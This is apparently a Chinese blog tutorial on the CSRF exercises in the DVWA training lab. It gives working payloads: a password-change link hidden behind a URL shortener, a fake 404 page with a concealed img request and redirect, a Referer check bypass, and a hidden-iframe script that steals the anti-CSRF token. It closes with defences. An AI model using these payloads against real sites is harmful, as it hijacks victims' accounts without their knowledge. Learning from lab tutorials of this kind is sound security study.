DVWA——CSRF 跨站请求伪造

CSRF属于业务逻辑漏洞X
SQL注入、XSS属于技术漏洞

原理

利用受害者尚未失效的身份认证信息(cookie,会话等),诱导受害人点击恶意链接或者含有攻击代码的页面,在受害人不知情的情况下,以受害者身份向服务器发送请求,从而完成非法操作(改密、转账等)。

前提条件

1、cookie未失效
2、用户登录

CSRF与XSS最大的区别

CSRF没有盗取cookie,而是直接利用,看起是合法请求。

Low
1、构造恶意链接

http://192.168.168.190/DVWA/vulnerabilities/csrf/?password_new=password&password_conf=password&Change=Change#

当受害者点击这个链接时,密码就已经被修改。

注意,不同浏览器之间因为机制不同,点击链接攻击是不会被触发的,而是自动跳转到登录页面。
2、这个链接修改密码太明显了,可以使用工具缩短url。如悟空短链接等(有效期半小时)

短链接条件:服务器域名不是ip

在这里插入图片描述

短链接 https://w.url.cn/s/AYYH7vc

在这里插入图片描述
受害者会看到密码修改的提示

3、构造攻击页面
Burp抓包生成POC,复制到html里面,上传到服务器

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

4、这样,还是明显,可以尝试打开页面为404

<html>
    <img src=http://192.168.168.190/DVWA/vulnerabilities/csrf/?password_new=password&password_conf=password&Change=Change# border="0" style="display:none;"/>
    <h1>404</h1>
    <h2>Not Found</h2>
</html>

在这里插入图片描述
在这里插入图片描述
此时,密码已经修改成功,而用户不知情。可以使用新密码登录DVWA验证。

这种情况源代码可以看到修改密码的脚本

在这里插入图片描述

5、页面跳转
(1)在脚本中加入

<meta http-equiv="refresh" content="3; url=http://www.baidu.com/" />

页面会卡顿一下然后跳转到百度页面,为了显示效果,中间会出现一个404页面

在这里插入图片描述

(2)<script>window.location.href='http://www.baidu.com';</script>
还有别的页面跳转方式,可以自行百度。

Medium

在这里插入图片描述

可以看到,Medium级别的代码检查了保留变量HTTP_REFERER(http包头的Referer参数的值,表示来源地址)中是否包含SERVER_NAME(http包头的Host参数,及要访问的主机名,这里是192.168.153.130),希望通过这种机制抵御CSRF攻击。

我们可以将攻击页面命名为 受害者ip.html,上传、访问
或者
可以用Burp抓包,修改refer头部信息,文件名改为受害者ip,便可完美绕过

High

可以看到,High级别的代码加入了Anti-CSRF token机制,用户每次访问改密页面时,服务器会返回一个随机的token,向服务器发起请求时,需要提交token参数,而服务器在收到请求时,会优先检查token,只有token正确,才会处理客户端的请求。
在这里插入图片描述

获取token代码

<script type="text/javascript">
    function attack()
  {
   document.getElementsByName('user_token')[0].value=document.getElementById("hack").contentWindow.document.getElementsByName('user_token')[0].value;
  document.getElementById("transfer").submit(); 
  }
</script>
 
<iframe src="http://192.168.153.130/dvwa/vulnerabilities/csrf" id="hack" border="0" style="display:none;">
</iframe>
 
<body onload="attack()">
  <form method="GET" id="transfer" action="http://192.168.153.130/dvwa/vulnerabilities/csrf">
   <input type="hidden" name="password_new" value="password">
    <input type="hidden" name="password_conf" value="password">
   <input type="hidden" name="user_token" value="">
  <input type="hidden" name="Change" value="Change">
   </form>
</body>

当受害者点击这个页面,脚本会通过一个看不见的框架偷偷修改访问修改密码的页面,获取页面的token,并向服务器发送改密请求,完成CSRF攻击。
然而,这里牵扯到了跨域问题,而现在的浏览器是不允许跨域请求的。所以攻击脚本是不可能取到改密界面的token。
因此,我们要将攻击代码注入到目标服务器,才可能完成攻击。利用High级别的XSS漏洞协助获取Anti-CSRF token(因为这里的XSS注入有长度限制,不能够注入完整的攻击脚本,所以只获取Anti-CSRF token)。

Impossible
添加了二次认证,必须知道原密码。

在这里插入图片描述

防御
1、采用原始密码认证;
2、验证refer,即HTTP请求的来源地址。比如,黑客A想让受害者B转账给他,A会自己搭建一个网站构造HTTP请求,诱使B点击,从而使B处罚转账操作,此时refer值为A自己搭建的网站地址。
3、验证token(存在于服务器端session中)
4、在HTTP头部自定义属性并验证(XMLHttpRequest)

  • 2
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值